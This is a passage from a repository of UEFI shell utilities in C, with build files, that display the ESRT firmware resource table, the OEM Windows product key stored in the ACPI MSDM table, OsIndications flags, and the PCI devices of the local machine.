UINT32 capsule_flags; 35 | UINT32 last_attempt_version; 36 | UINT32 last_attempt_status; 37 | } __attribute__((__packed__)) esre1_t; 38 | 39 | #define CAPSULE_FLAGS_PERSIST_ACROSS_RESET 0x00010000 40 | #define CAPSULE_FLAGS_POPULATE_SYSTEM_TABLE 0x00020000 41 | #define CAPSULE_FLAGS_INITIATE_RESET 0x00040000 42 | 43 | 44 | void 45 | dump_esrt(VOID *data) 46 | { 47 | esrt_t *esrt = data; 48 | esre1_t *esre1 = (esre1_t *)((UINT8 *)data + sizeof (*esrt)); 49 | int i, ob; 50 | 51 | Print(L"Dumping ESRT found at 0x%x\n\n", data); 52 | Print(L"Firmware Resource Count: %d\n", esrt->fw_resource_count); 53 | Print(L"Firmware Resource Max Count: %d\n", esrt->fw_resource_count_max); 54 | Print(L"Firmware Resource Version: %ld\n\n", esrt->fw_resource_version); 55 | 56 | if (esrt->fw_resource_version != 1) { 57 | Print(L"ERROR: Unknown ESRT version: %d\n", esrt->fw_resource_version); 58 | return; 59 | } 60 | 61 | for (i = 0; i < esrt->fw_resource_count; i++) { 62 | ob = 0; 63 | Print(L"ENTRY NUMBER: %d\n", i); 64 | Print(L"Firmware Class GUID: %g\n", &esre1->fw_class); 65 | Print(L"Firmware Type: %d ", esre1->fw_type); 66 | switch (esre1->fw_type) { 67 | case 0: Print(L"(Unknown)\n"); 68 | break; 69 | case 1: Print(L"(System)\n"); 70 | break; 71 | case 2: Print(L"(Device)\n"); 72 | break; 73 | case 3: Print(L"(UEFI Driver)\n"); 74 | break; 75 | default: Print(L"\n"); 76 | } 77 | Print(L"Firmware Version: 0x%08x\n", esre1->fw_version); 78 | Print(L"Lowest Supported Firmware Version: 0x%08x\n", esre1->lowest_supported_fw_version); 79 | Print(L"Capsule Flags: 0x%08x", esre1->capsule_flags); 80 | if ((esre1->capsule_flags & (CAPSULE_FLAGS_PERSIST_ACROSS_RESET)) == CAPSULE_FLAGS_PERSIST_ACROSS_RESET) { 81 | if (!ob) { 82 | ob = 1; 83 | Print(L"("); 84 | } 85 | Print(L"PERSIST"); 86 | } 87 | if ((esre1->capsule_flags & (CAPSULE_FLAGS_POPULATE_SYSTEM_TABLE)) == CAPSULE_FLAGS_POPULATE_SYSTEM_TABLE) { 88 | if (!ob) { 89 | ob = 1; 90 | Print(L"("); 91 | } else 92 | Print(L", "); 93 | Print(L"POPULATE"); 94 | } 95 | if ((esre1->capsule_flags & (CAPSULE_FLAGS_INITIATE_RESET)) == CAPSULE_FLAGS_INITIATE_RESET) { 96 | if (!ob) { 97 | ob = 1; 98 | Print(L"("); 99 | } else 100 | Print(L", "); 101 | Print(L"RESET"); 102 | } 103 | if (ob) 104 | Print(L")"); 105 | Print(L"\n"); 106 | Print(L"Last Attempt Version: 0x%08x\n", esre1->last_attempt_version); 107 | Print(L"Last Attempt Status: %d ", esre1->last_attempt_status); 108 | switch(esre1->last_attempt_status) { 109 | case 0: Print(L"(Success)\n"); 110 | break; 111 | case 1: Print(L"(Unsuccessful)\n"); 112 | break; 113 | case 2: Print(L"(Insufficient Resources)\n"); 114 | break; 115 | case 3: Print(L"(Incorrect version)\n"); 116 | break; 117 | case 4: Print(L"(Invalid Format)\n"); 118 | break; 119 | case 5: Print(L"(AC Power Issue)\n"); 120 | break; 121 | case 6: Print(L"(Battery Power Issue)\n"); 122 | break; 123 | default: Print(L"\n"); 124 | } 125 | Print(L"\n"); 126 | esre1++; 127 | } 128 | } 129 | 130 | 131 | INTN 132 | EFIAPI 133 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 134 | { 135 | EFI_CONFIGURATION_TABLE *ect = gST->ConfigurationTable; 136 | 137 | for (int i = 0; i < gST->NumberOfTableEntries; i++) { 138 | if (!CompareMem(&ect->VendorGuid, &EsrtGuid, sizeof(EsrtGuid))) { 139 | dump_esrt(ect->VendorTable); 140 | return EFI_SUCCESS; 141 | } 142 | ect++; 143 | continue; 144 | } 145 | 146 | Print(L"No ESRT found\n"); 147 | 148 | return EFI_SUCCESS; 149 | } 150 | 151 | -------------------------------------------------------------------------------- /MyApps/ShowESRT/ShowESRT.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowESRT 4 | FILE_GUID = 4ea87c51-7491-4dfd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowESRT.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | 18 | [LibraryClasses] 19 | ShellCEntryLib 20 | ShellLib 21 | BaseLib 22 | BaseMemoryLib 23 | UefiLib 24 | 25 | [Protocols] 26 | 27 | [BuildOptions] 28 | 29 | [Pcd] 30 | 31 | -------------------------------------------------------------------------------- /MyApps/ShowMSDM/ShowMSDM.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display MSDM Microsoft Windows License Key 5 | // 6 | // License: BSD License 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | 22 | #undef DEBUG 23 | 24 | #define EFI_ACPI_TABLE_GUID \ 25 | { 0xeb9d2d30, 0x2d88, 0x11d3, {0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d }} 26 | #define EFI_ACPI_20_TABLE_GUID \ 27 | { 0x8868e871, 0xe4f1, 0x11d3, {0xbc, 0x22, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81 }} 28 | 29 | 30 | // Microsoft Data Management table structure 31 | typedef struct { 32 | EFI_ACPI_SDT_HEADER Header; 33 | UINT32 SlsVersion; 34 | UINT32 SlsReserved; 35 | UINT32 SlsDataType; 36 | UINT32 SlsDataReserved; 37 | UINT32 SlsDataLength; 38 | CHAR8 ProductKey[30]; 39 | } EFI_ACPI_MSDM; 40 | 41 | 42 | static VOID AsciiToUnicodeSize(CHAR8 *, UINT8, CHAR16 *); 43 | 44 | 45 | static VOID 46 | AsciiToUnicodeSize(CHAR8 *String, UINT8 length, CHAR16 *UniString) 47 | { 48 | int len = length; 49 | 50 | while (*String != '\0' && len > 0) { 51 | *(UniString++) = (CHAR16) *(String++); 52 | len--; 53 | } 54 | *UniString = '\0'; 55 | } 56 | 57 | 58 | static VOID 59 | ParseMSDM(EFI_ACPI_MSDM *Msdm, int verbose) 60 | { 61 | CHAR16 Buffer[100]; 62 | 63 | Print(L"\n"); 64 | if (verbose) { 65 | AsciiToUnicodeSize((CHAR8 *)&(Msdm->Header.Signature), 4, Buffer); 66 | Print(L"Signature : %s\n", Buffer); 67 | Print(L"Length : %d\n", Msdm->Header.Length); 68 | Print(L"Revision : %d\n", Msdm->Header.Revision); 69 | Print(L"Checksum : %d\n", Msdm->Header.Checksum); 70 | AsciiToUnicodeSize((CHAR8 *)(Msdm->Header.OemId), 6, Buffer); 71 | Print(L"Oem ID : %s\n", Buffer); 72 | AsciiToUnicodeSize((CHAR8 *)(Msdm->Header.OemTableId), 8, Buffer); 73 | Print(L"Oem Table ID : %s\n", Buffer); 74 | Print(L"Oem Revision : %d\n", Msdm->Header.OemRevision); 75 | AsciiToUnicodeSize((CHAR8 *)&(Msdm->Header.CreatorId), 4, Buffer); 76 | Print(L"Creator ID : %s\n", Buffer); 77 | Print(L"Creator Revision : %d\n", Msdm->Header.CreatorRevision); 78 | Print(L"SLS Version : %d\n", Msdm->SlsVersion); 79 | Print(L"SLS Reserved : %d\n", Msdm->SlsReserved); 80 | Print(L"SLS Data Type : %d\n", Msdm->SlsDataType); 81 | Print(L"SLS Data Reserved : %d\n", Msdm->SlsDataReserved); 82 | Print(L"SLS Data Length : %d\n", Msdm->SlsDataLength); 83 | } 84 | AsciiToUnicodeSize((CHAR8 *)(Msdm->ProductKey), 29, Buffer); 85 | if (verbose) { 86 | Print(L"Product Key : %s\n", Buffer); 87 | } else { 88 | Print(L"%s\n", Buffer); 89 | } 90 | Print(L"\n"); 91 | } 92 | 93 | 94 | static int 95 | ParseRSDP( EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *Rsdp, CHAR16* GuidStr, int verbose) 96 | { 97 | EFI_ACPI_SDT_HEADER *Xsdt, *Entry; 98 | CHAR16 OemStr[20]; 99 | UINT32 EntryCount; 100 | UINT64 *EntryPtr; 101 | 102 | #ifdef DEBUG 103 | Print(L"\n\nACPI GUID: %s\n", GuidStr); 104 | #endif 105 | AsciiToUnicodeSize((CHAR8 *)(Rsdp->OemId), 6, OemStr); 106 | 107 | #ifdef DEBUG 108 | Print(L"\nFound RSDP. Version: %d OEM ID: %s\n", (int)(Rsdp->Revision), OemStr); 109 | #endif 110 | if (Rsdp->Revision >= EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER_REVISION) { 111 | Xsdt = (EFI_ACPI_SDT_HEADER *)(Rsdp->XsdtAddress); 112 | } else { 113 | #ifdef DEBUG 114 | Print(L"ERROR: No ACPI XSDT table found.\n"); 115 | #endif 116 | return 1; 117 | } 118 | 119 | if (Xsdt->Signature != SIGNATURE_32 ('X', 'S', 'D', 'T')) { 120 | #ifdef DEBUG 121 | Print(L"ERROR: Invalid ACPI XSDT table found.\n"); 122 | #endif 123 | return 1; 124 | } 125 | 126 | AsciiToUnicodeSize((CHAR8 *)(Xsdt->OemId), 6, OemStr); 127 | EntryCount = (Xsdt->Length - sizeof (EFI_ACPI_SDT_HEADER)) / sizeof(UINT64); 128 | #ifdef DEBUG 129 | Print(L"Found XSDT. OEM ID: %s Entry Count: %d\n\n", OemStr, EntryCount); 130 | #endif 131 | 132 | EntryPtr = (UINT64 *)(Xsdt + 1); 133 | for (int Index = 0; Index < EntryCount; Index++, EntryPtr++) { 134 | Entry = (EFI_ACPI_SDT_HEADER *)((UINTN)(*EntryPtr)); 135 | if (Entry->Signature == SIGNATURE_32 ('M', 'S', 'D', 'M')) { 136 | ParseMSDM((EFI_ACPI_MSDM *)((UINTN)(*EntryPtr)), verbose); 137 | } 138 | } 139 | 140 | return 0; 141 | } 142 | 143 | 144 | static void 145 | Usage(void) 146 | { 147 | Print(L"Usage: ShowMSDM [-v|--verbose]\n"); 148 | } 149 | 150 | 151 | INTN 152 | EFIAPI 153 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 154 | { 155 | EFI_CONFIGURATION_TABLE *ect = gST->ConfigurationTable; 156 | EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *Rsdp = NULL; 157 | EFI_GUID AcpiTableGuid = EFI_ACPI_TABLE_GUID; 158 | EFI_GUID Acpi20TableGuid = EFI_ACPI_20_TABLE_GUID; 159 | EFI_STATUS Status = EFI_SUCCESS; 160 | CHAR16 GuidStr[100]; 161 | int Verbose = 0; 162 | 163 | 164 | if (Argc == 2) { 165 | if (!StrCmp(Argv[1], L"--verbose") || 166 | !StrCmp(Argv[1], L"-v")) { 167 | Verbose = 1; 168 | } 169 | if (!StrCmp(Argv[1], L"--help") || 170 | !StrCmp(Argv[1], L"-h") || 171 | !StrCmp(Argv[1], L"-?")) { 172 | Usage(); 173 | return Status; 174 | } 175 | } 176 | 177 | // locate RSDP (Root System Description Pointer) 178 | for (int i = 0; i < gST->NumberOfTableEntries; i++) { 179 | if ((CompareGuid (&(gST->ConfigurationTable[i].VendorGuid), &AcpiTableGuid)) || 180 | (CompareGuid (&(gST->ConfigurationTable[i].VendorGuid), &Acpi20TableGuid))) { 181 | if (!AsciiStrnCmp("RSD PTR ", (CHAR8 *)(ect->VendorTable), 8)) { 182 | UnicodeSPrint(GuidStr, sizeof(GuidStr), L"%g", &(gST->ConfigurationTable[i].VendorGuid)); 183 | Rsdp = (EFI_ACPI_2_0_ROOT_SYSTEM_DESCRIPTION_POINTER *)ect->VendorTable; 184 | ParseRSDP(Rsdp, GuidStr, Verbose); 185 | } 186 | } 187 | ect++; 188 | } 189 | 190 | if (Rsdp == NULL) { 191 | if (Verbose) { 192 | Print(L"ERROR: Could not find an ACPI RSDP table.\n"); 193 | } 194 | return EFI_NOT_FOUND; 195 | } 196 | 197 | return Status; 198 | } 199 | -------------------------------------------------------------------------------- /MyApps/ShowMSDM/ShowMSDM.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowMSDM 4 | FILE_GUID = 4ea87c51-7395-4dcd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowMSDM.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | 18 | [LibraryClasses] 19 | ShellCEntryLib 20 | ShellLib 21 | BaseLib 22 | BaseMemoryLib 23 | UefiLib 24 | 25 | [Protocols] 26 | 27 | [BuildOptions] 28 | 29 | [Pcd] 30 | 31 | -------------------------------------------------------------------------------- /MyApps/ShowOSIndication/ShowOSIndication.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2016 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display UEFI OsIndications information 5 | // 6 | // License: BSD License 7 | // 8 | 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | 23 | #define UTILITY_VERSION L"0.1" 24 | #undef DEBUG 25 | 26 | #define EFI_OS_INDICATIONS_BOOT_TO_FW_UI 0x0000000000000001 27 | #define EFI_OS_INDICATIONS_TIMESTAMP_REVOCATION 0x0000000000000002 28 | #define EFI_OS_INDICATIONS_FILE_CAPSULE_DELIVERY_SUPPORTED 0x0000000000000004 29 | #define EFI_OS_INDICATIONS_FMP_CAPSULE_SUPPORTED 0x0000000000000008 30 | #define EFI_OS_INDICATIONS_CAPSULE_RESULT_VAR_SUPPORTED 0x0000000000000010 31 | #define EFI_OS_INDICATIONS_START_PLATFORM_RECOVERY 0x0000000000000040 32 | 33 | extern EFI_RUNTIME_SERVICES *gRT; 34 | 35 | 36 | VOID 37 | Usage(CHAR16 *Str) 38 | { 39 | Print(L"Usage: %s [-V|--version]\n", Str); 40 | } 41 | 42 | 43 | INTN 44 | EFIAPI 45 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 46 | { 47 | 48 | EFI_STATUS Status = EFI_SUCCESS; 49 | UINT64 OsIndicationSupport; 50 | UINT64 OsIndication; 51 | UINTN DataSize; 52 | UINT32 Attributes; 53 | BOOLEAN BootFwUi; 54 | BOOLEAN PlatformRecovery; 55 | BOOLEAN TimeStampRevocation; 56 | BOOLEAN FileCapsuleDelivery; 57 | BOOLEAN FMPCapsuleSupported; 58 | BOOLEAN CapsuleResultVariable; 59 | 60 | 61 | if (Argc == 2) { 62 | if (!StrCmp(Argv[1], L"--version") || 63 | !StrCmp(Argv[1], L"-V")) { 64 | Print(L"Version: %s\n", UTILITY_VERSION); 65 | return Status; 66 | } 67 | if (!StrCmp(Argv[1], L"--help") || 68 | !StrCmp(Argv[1], L"-h") || 69 | !StrCmp(Argv[1], L"-?")) { 70 | Usage(Argv[0]); 71 | return Status; 72 | } 73 | } 74 | 75 | // catchall for all other cases 76 | if (Argc > 1) { 77 | Usage(Argv[0]); 78 | return Status; 79 | } 80 | 81 | 82 | Attributes = EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS; 83 | DataSize = sizeof(UINT64); 84 | 85 | Status = gRT->GetVariable( EFI_OS_INDICATIONS_SUPPORT_VARIABLE_NAME, 86 | &gEfiGlobalVariableGuid, 87 | &Attributes, 88 | &DataSize, 89 | &OsIndicationSupport); 90 | if (Status == EFI_NOT_FOUND) { 91 | Print(L"ERROR: OSIndicationSupport variable not found\n"); 92 | return Status; 93 | } 94 | 95 | #ifdef DEBUG 96 | Print(L"OSIndicationSupport variable found: %016x\n", OsIndicationSupport ); 97 | #endif 98 | 99 | Attributes = EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS; 100 | DataSize = sizeof(UINT64); 101 | 102 | Status = gRT->GetVariable( EFI_OS_INDICATIONS_VARIABLE_NAME, 103 | &gEfiGlobalVariableGuid, 104 | &Attributes, 105 | &DataSize, 106 | &OsIndication); 107 | if (Status == EFI_NOT_FOUND) { 108 | Print(L"ERROR: OSIndication variable not found\n"); 109 | return Status; 110 | } 111 | 112 | #ifdef DEBUG 113 | Print(L"OSIndication variable found: %016x\n", OsIndication); 114 | #endif 115 | 116 | BootFwUi = (BOOLEAN) ((OsIndication & EFI_OS_INDICATIONS_BOOT_TO_FW_UI) != 0); 117 | TimeStampRevocation = (BOOLEAN) ((OsIndication & EFI_OS_INDICATIONS_TIMESTAMP_REVOCATION) != 0); 118 | FileCapsuleDelivery = (BOOLEAN) ((OsIndication & EFI_OS_INDICATIONS_FILE_CAPSULE_DELIVERY_SUPPORTED) != 0); 119 | FMPCapsuleSupported = (BOOLEAN) ((OsIndication & EFI_OS_INDICATIONS_FMP_CAPSULE_SUPPORTED) != 0); 120 | CapsuleResultVariable = (BOOLEAN) ((OsIndication & EFI_OS_INDICATIONS_CAPSULE_RESULT_VAR_SUPPORTED) != 0); 121 | PlatformRecovery = (BOOLEAN) ((OsIndication & EFI_OS_INDICATIONS_START_PLATFORM_RECOVERY) != 0); 122 | 123 | Print(L"\n"); 124 | Print(L" Boot Firmware: %s\n", BootFwUi ? L"Yes" : L"No"); 125 | Print(L" Timestamp Revocation: %s\n", TimeStampRevocation ? L"Yes" : L"No"); 126 | Print(L" File Capsule Delivery Supported: %s\n", FileCapsuleDelivery ? L"Yes" : L"No"); 127 | Print(L" FMP Capsule Supported: %s\n", FMPCapsuleSupported ? L"Yes" : L"No"); 128 | Print(L" Capsule Result Variable Supported: %s\n", CapsuleResultVariable ? L"Yes" : L"No"); 129 | Print(L" Start Platform Recovery: %s\n", PlatformRecovery ? L"Yes" : L"No"); 130 | Print(L"\n"); 131 | 132 | return EFI_SUCCESS; 133 | } 134 | -------------------------------------------------------------------------------- /MyApps/ShowOSIndication/ShowOSIndication.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowOSIndication 4 | FILE_GUID = 4ea87c61-7491-4dfd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowOSIndication.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/ShowPCI/ShowPCI.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2017 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Show PCI devices 5 | // 6 | // License: UDK2015 license applies to code from UDK2015 source, 7 | // BSD 2 cluase license applies to all other code. 8 | // 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include 26 | #include 27 | 28 | 29 | #define CALC_EFI_PCI_ADDRESS(Bus, Dev, Func, Reg) \ 30 | ((UINT64) ((((UINTN) Bus) << 24) + (((UINTN) Dev) << 16) + (((UINTN) Func) << 8) + ((UINTN) Reg))) 31 | 32 | #pragma pack(1) 33 | typedef struct { 34 | UINT16 VendorId; 35 | UINT16 DeviceId; 36 | UINT16 Command; 37 | UINT16 Status; 38 | UINT8 RevisionId; 39 | UINT8 ClassCode[3]; 40 | UINT8 CacheLineSize; 41 | UINT8 PrimaryLatencyTimer; 42 | UINT8 HeaderType; 43 | UINT8 Bist; 44 | } PCI_COMMON_HEADER; 45 | 46 | typedef struct { 47 | UINT32 Bar[6]; // Base Address Registers 48 | UINT32 CardBusCISPtr; // CardBus CIS Pointer 49 | UINT16 SubVendorId; // Subsystem Vendor ID 50 | UINT16 SubSystemId; // Subsystem ID 51 | UINT32 ROMBar; // Expansion ROM Base Address 52 | UINT8 CapabilitiesPtr; // Capabilities Pointer 53 | UINT8 Reserved[3]; 54 | UINT32 Reserved1; 55 | UINT8 InterruptLine; // Interrupt Line 56 | UINT8 InterruptPin; // Interrupt Pin 57 | UINT8 MinGnt; // Min_Gnt 58 | UINT8 MaxLat; // Max_Lat 59 | } PCI_DEVICE_HEADER; 60 | 61 | typedef struct { 62 | UINT32 CardBusSocketReg; // Cardus Socket/ExCA Base Address Register 63 | UINT8 CapabilitiesPtr; // 14h in pci-cardbus bridge. 64 | UINT8 Reserved; 65 | UINT16 SecondaryStatus; // Secondary Status 66 | UINT8 PciBusNumber; // PCI Bus Number 67 | UINT8 CardBusBusNumber; // CardBus Bus Number 68 | UINT8 SubordinateBusNumber; // Subordinate Bus Number 69 | UINT8 CardBusLatencyTimer; // CardBus Latency Timer 70 | UINT32 MemoryBase0; // Memory Base Register 0 71 | UINT32 MemoryLimit0; // Memory Limit Register 0 72 | UINT32 MemoryBase1; 73 | UINT32 MemoryLimit1; 74 | UINT32 IoBase0; 75 | UINT32 IoLimit0; // I/O Base Register 0 76 | UINT32 IoBase1; // I/O Limit Register 0 77 | UINT32 IoLimit1; 78 | UINT8 InterruptLine; // Interrupt Line 79 | UINT8 InterruptPin; // Interrupt Pin 80 | UINT16 BridgeControl; // Bridge Control 81 | } PCI_CARDBUS_HEADER; 82 | 83 | typedef union { 84 | PCI_DEVICE_HEADER Device; 85 | PCI_CARDBUS_HEADER CardBus; 86 | } NON_COMMON_UNION; 87 | 88 | typedef struct { 89 | PCI_COMMON_HEADER Common; 90 | NON_COMMON_UNION NonCommon; 91 | UINT32 Data[48]; 92 | } PCI_CONFIG_SPACE; 93 | 94 | #pragma pack() 95 | 96 | #define UTILITY_VERSION L"0.8" 97 | 98 | #define EFI_PCI_EMUMERATION_COMPLETE_GUID \ 99 | { 0x30cfe3e7, 0x3de1, 0x4586, {0xbe, 0x20, 0xde, 0xab, 0xa1, 0xb3, 0xb7, 0x93}} 100 | 101 | 102 | // 103 | // Copyed from UDK2015 Source. UDK2015 license applies. 104 | // 105 | EFI_STATUS 106 | PciGetNextBusRange( EFI_ACPI_ADDRESS_SPACE_DESCRIPTOR **Descriptors, 107 | UINT16 *MinBus, 108 | UINT16 *MaxBus, 109 | BOOLEAN *IsEnd) 110 | { 111 | *IsEnd = FALSE; 112 | 113 | if ((*Descriptors) == NULL) { 114 | *MinBus = 0; 115 | *MaxBus = PCI_MAX_BUS; 116 | return EFI_SUCCESS; 117 | } 118 | 119 | while ((*Descriptors)->Desc != ACPI_END_TAG_DESCRIPTOR) { 120 | if ((*Descriptors)->ResType == ACPI_ADDRESS_SPACE_TYPE_BUS) { 121 | *MinBus = (UINT16) (*Descriptors)->AddrRangeMin; 122 | *MaxBus = (UINT16) (*Descriptors)->AddrRangeMax; 123 | (*Descriptors)++; 124 | return (EFI_SUCCESS); 125 | } 126 | 127 | (*Descriptors)++; 128 | } 129 | 130 | if ((*Descriptors)->Desc == ACPI_END_TAG_DESCRIPTOR) { 131 | *IsEnd = TRUE; 132 | } 133 | 134 | return EFI_SUCCESS; 135 | } 136 | 137 | 138 | // 139 | // Copyed from UDK2015 Source. UDK2015 license applies. 140 | // 141 | EFI_STATUS 142 | PciGetProtocolAndResource( EFI_HANDLE Handle, 143 | EFI_PCI_ROOT_BRIDGE_IO_PROTOCOL **IoDev, 144 | EFI_ACPI_ADDRESS_SPACE_DESCRIPTOR **Descriptors) 145 | { 146 | EFI_STATUS Status; 147 | 148 | // Get inferface from protocol 149 | Status = gBS->HandleProtocol( Handle, 150 | &gEfiPciRootBridgeIoProtocolGuid, 151 | (VOID**)IoDev); 152 | if (EFI_ERROR (Status)) { 153 | return Status; 154 | } 155 | 156 | Status = (*IoDev)->Configuration (*IoDev, (VOID**)Descriptors); 157 | if (Status == EFI_UNSUPPORTED) { 158 | *Descriptors = NULL; 159 | return EFI_SUCCESS; 160 | } 161 | 162 | return Status; 163 | } 164 | 165 | 166 | VOID 167 | Usage(CHAR16 *Str) 168 | { 169 | Print(L"Usage: %s [-V|--version] [-h|--help]\n", Str); 170 | } 171 | 172 | 173 | INTN 174 | EFIAPI 175 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 176 | { 177 | EFI_GUID gEfiPciEnumerationCompleteProtocolGuid = EFI_PCI_EMUMERATION_COMPLETE_GUID; 178 | EFI_STATUS Status = EFI_SUCCESS; 179 | EFI_PCI_ROOT_BRIDGE_IO_PROTOCOL *IoDev; 180 | EFI_ACPI_ADDRESS_SPACE_DESCRIPTOR *Descriptors; 181 | PCI_COMMON_HEADER PciHeader; 182 | PCI_CONFIG_SPACE ConfigSpace; 183 | PCI_DEVICE_HEADER *DeviceHeader; 184 | VOID *Interface; 185 | UINTN HandleBufSize; 186 | EFI_HANDLE *HandleBuf; 187 | UINTN HandleCount; 188 | UINT16 MinBus; 189 | UINT16 MaxBus; 190 | BOOLEAN IsEnd; 191 | UINT64 Address; 192 | 193 | 194 | for (int i = 1; i < Argc; i++) { 195 | if (!StrCmp(Argv[i], L"--version") || 196 | !StrCmp(Argv[i], L"-V")) { 197 | Print(L"Version: %s\n", UTILITY_VERSION); 198 | return Status; 199 | } else if (!StrCmp(Argv[i], L"--help") || 200 | !StrCmp(Argv[i], L"-h") || 201 | !StrCmp(Argv[i], L"-?")) { 202 | Usage(Argv[0]); 203 | return Status; 204 | } else { 205 | Print(L"ERROR: Unknown option.\n"); 206 | Usage(Argv[0]); 207 | return Status; 208 | } 209 | } 210 | 211 | 212 | Status = gBS->LocateProtocol( &gEfiPciEnumerationCompleteProtocolGuid, 213 | NULL, 214 | &Interface); 215 | if (EFI_ERROR(Status)) { 216 | Print(L"ERROR: Could not find an enumerated PCI database\n"); 217 | return Status; 218 | } 219 | 220 | HandleBufSize = sizeof(EFI_HANDLE); 221 | HandleBuf = (EFI_HANDLE *) AllocateZeroPool( HandleBufSize); 222 | if (HandleBuf == NULL) { 223 | Print(L"ERROR: Out of memory resources\n"); 224 | goto Done; 225 | } 226 | 227 | Status = gBS->LocateHandle( ByProtocol, 228 | &gEfiPciRootBridgeIoProtocolGuid, 229 | NULL, 230 | &HandleBufSize, 231 | HandleBuf); 232 | 233 | if (Status == EFI_BUFFER_TOO_SMALL) { 234 | HandleBuf = ReallocatePool (sizeof (EFI_HANDLE), HandleBufSize, HandleBuf); 235 | if (HandleBuf == NULL) { 236 | Print(L"ERROR: Out of memory resources\n"); 237 | goto Done; 238 | } 239 | 240 | Status = gBS->LocateHandle( ByProtocol, 241 | &gEfiPciRootBridgeIoProtocolGuid, 242 | NULL, 243 | &HandleBufSize, 244 | HandleBuf); 245 | } 246 | 247 | if (EFI_ERROR (Status)) { 248 | Print(L"ERROR: Failed to find any PCI handles\n"); 249 | goto Done; 250 | } 251 | 252 | HandleCount = HandleBufSize / sizeof (EFI_HANDLE); 253 | 254 | 255 | for (UINT16 Index = 0; Index < HandleCount; Index++) { 256 | Status = PciGetProtocolAndResource( HandleBuf[Index], 257 | &IoDev, 258 | &Descriptors); 259 | if (EFI_ERROR(Status)) { 260 | Print(L"ERROR: PciGetProtocolAndResource [%d]\n, Status"); 261 | goto Done; 262 | } 263 | 264 | while(TRUE) { 265 | Status = PciGetNextBusRange( &Descriptors, &MinBus, &MaxBus, &IsEnd); 266 | if (EFI_ERROR(Status)) { 267 | Print(L"ERROR: Retrieving PCI bus range [%d]\n", Status); 268 | goto Done; 269 | } 270 | 271 | if (IsEnd) { 272 | break; 273 | } 274 | 275 | Print(L"\n"); 276 | Print(L"Bus Vendor Device Subvendor SubvendorDevice\n"); 277 | Print(L"----------------------------------------------------\n"); 278 | 279 | for (UINT16 Bus = MinBus; Bus <= MaxBus; Bus++) { 280 | for (UINT16 Device = 0; Device <= PCI_MAX_DEVICE; Device++) { 281 | for (UINT16 Func = 0; Func <= PCI_MAX_FUNC; Func++) { 282 | Address = CALC_EFI_PCI_ADDRESS (Bus, Device, Func, 0); 283 | 284 | Status = IoDev->Pci.Read( IoDev, 285 | EfiPciWidthUint8, 286 | Address, 287 | sizeof(ConfigSpace), 288 | &ConfigSpace); 289 | 290 | DeviceHeader = (PCI_DEVICE_HEADER *) &(ConfigSpace.NonCommon.Device); 291 | 292 | IoDev->Pci.Read( IoDev, 293 | EfiPciWidthUint16, 294 | Address, 295 | 1, 296 | &PciHeader.VendorId); 297 | 298 | if (PciHeader.VendorId == 0xffff && Func == 0) { 299 | break; 300 | } 301 | 302 | if (PciHeader.VendorId != 0xffff) { 303 | IoDev->Pci.Read( IoDev, 304 | EfiPciWidthUint32, 305 | Address, 306 | sizeof (PciHeader) / sizeof (UINT32), 307 | &PciHeader); 308 | 309 | Print(L" %02d %04x %04x %04x %04x\n", 310 | Bus, PciHeader.VendorId, PciHeader.DeviceId, 311 | DeviceHeader->SubVendorId, DeviceHeader->SubSystemId); 312 | 313 | if (Func == 0 && 314 | ((PciHeader.HeaderType & HEADER_TYPE_MULTI_FUNCTION) == 0x00)) { 315 | break; 316 | } 317 | } 318 | } 319 | } 320 | } 